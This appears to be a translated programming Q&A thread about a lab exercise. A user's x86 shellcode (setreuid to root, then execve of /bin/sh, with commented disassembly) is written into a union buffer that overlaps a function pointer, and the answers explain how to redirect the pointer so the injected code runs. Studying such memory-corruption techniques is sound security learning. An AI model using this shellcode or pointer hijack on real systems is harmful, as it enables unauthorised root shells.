我正在尝试将shell代码注入char缓冲区并使用函数指针执行它。字符串和函数指针都在联合中。以下是我尝试执行的Shell代码
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
0: 31 c0 xor eax, eax
2: b0 46 mov al, 0x46 ; setreuid (70)
4: 31 db xor ebx, ebx ; real uid
6: 31 c9 xor ecx, ecx ; effective uid
8: cd 80 int 0x80 ; setreuid(0, 0)
a: eb 16 jmp 0x22 ; jump to call at end
c: 5b pop ebx ; get address of "/bin/sh"
d: 31 c0 xor eax, eax
f: 88 43 07 mov BYTE PTR[ebx + 0x7], al ; zero terminate "/bin/sh"
12: 89 5b 08 mov DWORD PTR[ebx + 0x8], ebx ; + address of "/bin/sh"
15: 89 43 0c mov DWORD PTR[ebx + 0xc], eax ; + NULL pointer
18: b0 0b mov al, 0x0b ; execve (11)
1a: 8d 4b 08 lea ecx, [ebx + 0x8] ; load argv (ptr to "/bin/sh")
1d: 8d 53 0c lea edx, [ebx + 0xc] ; load envp (NULL)
20: cd 80 int 0x80 ; execve("/bin/sh", "/bin/sh", NULL)
22: e8 e5 ff ff ff call 0x0c ; push address on the stack
27: "/bin/sh" ; and jump back
union array_or_function_pointer
{
char string[128];
void (*callback)(void);
};
void trialversion()
{
printf("This is a trial version. Please purchase the full version to enable all features!\n");
}
int main(int argc, char *argv[])
{
FILE *fp;
union array_or_function_pointer obj;
fp = fopen(argv[1], "r");
obj.callback = trialversion;
obj.callback();
fread(obj.string, 128, 1, fp);
obj.callback();
fclose(fp);
return 0;
}
未执行Shell代码,并且出现了如下所示的段错误。我用过-z execstack
。
gcc -g -fno-stack-protector -z execstack sample.c -o sample
harsha@hv-XPS:~/ass6$ ./sample pass_junk.txt
This is a trial version. Please purchase the full version to enable all features!
Segmentation fault (core dumped)
问题似乎是程序正在检查外壳程序代码中存在的地址
答案 0 :(得分:1)
通常,将指向函数变量的指针实现为包含要调用的函数的第一条指令的地址的存储器。您是直接将指令放在obj
中,而不是地址中。
要使这种测试利用发挥作用,您既需要将注入的指令放入内存中的某个位置,还要将包含这些指令的内存地址放入obj.callback
中。但这是棘手的,因为大多数操作系统使用“地址空间布局随机化”来使得很难准确预测对象在堆栈中的位置。
答案 1 :(得分:1)
在shellcode的开头添加sizeof(void(*)())
个虚拟字节(例如\x90\x90\x90\x90
)。
然后:
#include <stdio.h>
union array_or_function_pointer
{
char code[/* size */];
void(*callback)(void);
};
void foo(void) { puts("foo()"); }
int main(int argc, char **argv)
{
union array_or_function_pointer obj;
obj.callback = foo;
obj.callback();
FILE *fp = fopen(argv[1], "rb");
fread(obj.code, 1, /* size */, fp);
fclose(fp);
obj.callback = &obj.callback + 1; // the code is located *behind*
obj.callback(); // the pointer value.
}